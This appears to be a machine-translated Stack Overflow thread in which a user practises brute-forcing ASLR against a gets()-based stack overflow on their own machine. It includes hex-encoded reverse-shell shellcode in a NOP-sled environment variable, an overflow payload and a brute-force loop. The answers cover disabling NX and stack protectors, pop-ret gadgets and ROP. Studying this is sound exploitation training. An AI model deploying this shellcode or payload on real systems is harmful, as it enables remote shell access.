为了练习,我一直在尝试在我的机器上强行实现ASLR。首先,我要确保ASLR是打开的。
cat /proc/sys/kernel/randomize_va_space
1我使用的机器是:-
bt ~ # uname -a
Linux bt 2.6.20-BT-PwnSauce-NOSMP #3 Sat Feb 24 15:52:59 GMT 2007 i686 pentium3 i386 GNU/Linux我的程序很简单,如下所示。
bt ~ # cat t.c
#include<stdio.h>
int main(int argc, char **argv) {
char buffer[50];
gets(buffer);
return 0;
}为了利用这一点,我创建了一个环境变量,如下所示。如你所见,它有一个非常大的nop sled,上面有一个反向shell的利用代码。
export EGG=`perl -e 'print "\x90"x64000 . "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xac\x10\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`我使用下面的C程序找出环境变量的地址:
int main(int argc, char **argv) {
printf("%p\n", getenv(argv[1]));
return 0;
}我得到的地址是0xbfefadfd。
我计算出溢出返回地址需要使用76 bytes of something + 4 bytes of the return address。所以,为了暴力,我这样做了:
$ echo `perl -e 'print "A"x76 . "\xfd\xad\xef\xbf"'` > file
$ while true; do ./t < file; done不出所料,我得到了分段错误的日志,然而,即使在运行程序大约30分钟后,我也没有得到反向shell。我这里做错了什么吗?
发布于 2011-05-15 22:02:46
有几件事你必须考虑到。1.您的shellcode代码必须与您的体系结构匹配。(这很容易测试)。2.因为您将sure代码放在堆栈上,所以必须确保堆栈是可执行的。实现这一点的一种方法是用"-z execstack“-flag编译给gcc。
此外,可能还有其他方法可以增加您找到正确地址的机会。
发布于 2011-05-15 22:03:49
可能是堆栈是不可执行的。你可以和readelf确认一下。如果GNU_STACK部分没有标记为可执行,则您的应用程序具有NX堆栈。
顺便说一句,在这种情况下,有一个更好的方法来击败ASLR。
你可以做的是返回到.text部分,它的地址没有被ASLR改变。pop-ret,pop- pop -ret会弹出堆栈,直到您达到一些“可用”值。可用的是高度情境化的。通常,您将查找指向输入字符串、env变量等的指针。
此外,面向返回的编程(ROP)是当今的一个时髦词汇。看看这个。
发布于 2011-05-15 19:09:01
我不知道你在哪个平台上尝试这个,但很可能除了ASLR之外,你的gcc默认也会使用堆栈金丝雀/保护。要禁用此功能,请使用-fno-stack-protector进行编译。
https://stackoverflow.com/questions/6007092
复制相似问题